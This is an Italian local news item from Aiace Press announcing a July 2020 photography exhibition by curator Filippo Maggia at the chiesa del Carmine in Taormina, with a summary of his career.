A partire dal 2 luglio, alla chiesa del Carmine, gli scatti di Filippo Maggia https://aiacepress.it/a-partire-dal-2-luglio-alla-chiesa-del-carmine-gli-scatti-di-filippo-maggia/ https://aiacepress.it/a-partire-dal-2-luglio-alla-chiesa-del-carmine-gli-scatti-di-filippo-maggia/#respond Mon, 29 Jun 2020 08:06:00 +0000 https://aiacepress.it/?p=9504 Taormina – Di nuovo al via anche le mostre nella città del centauro. Ad essere palcoscenico di una singolare mostra fotografica sarà, ancora una volta, la chiesa del Carmine. “Ripartiamo il 2 luglio, alle ore 18,30 alla presenza del sindaco, Mario Bolognari – dice l’assessore alla Cultura, Francesca Gullotta – con la partecipazione a Taormina […]

The post A partire dal 2 luglio, alla chiesa del Carmine, gli scatti di Filippo Maggia appeared first on Aiace Press.

]]>
Taormina – Di nuovo al via anche le mostre nella città del centauro. Ad essere palcoscenico di una singolare mostra fotografica sarà, ancora una volta, la chiesa del Carmine. “Ripartiamo il 2 luglio, alle ore 18,30 alla presenza del sindaco, Mario Bolognari – dice l’assessore alla Cultura, Francesca Gullotta – con la partecipazione a Taormina di Filippo Maggia, curatore per la fotografia presso la Galleria Civica di Modena, che dal 1999 ricopre il medesimo incarico per la Fondazione Sandretto Re Rebaudengo per l’Arte di Torino. Dal 1996 è curatore della Collezione Malerba, e dal 1998 dirige la collana ‘Fotografia come Linguaggio’ per la casa editrice Baldini&Castoldi. Insegna Storia della fotografia contemporanea e Progettazione presso l’Istituto Europeo di Design di Torino, ed è stato invitato come guest curator per la fotografia al centro per l’Arte Contemporanea Luigi Pecci di Prato nel 2000 e 2001. Dal gennaio 2001 fa parte del Comitato Scientifico della Galleria nazionale d’Arte Moderna di Bologna e dal maggio del medesimo anno conduce ‘Talking Pictures’, un programma dedicato alla fotografia contemporanea per la RAI, Radiotre-Suite”. Sarà proposta la mostra “Da Guarene all’Etna”, inserita nel progetto culturale “Ge/19 boiling projects”.

The post A partire dal 2 luglio, alla chiesa del Carmine, gli scatti di Filippo Maggia appeared first on Aiace Press.

]]>
https://aiacepress.it/a-partire-dal-2-luglio-alla-chiesa-del-carmine-gli-scatti-di-filippo-maggia/feed/ 0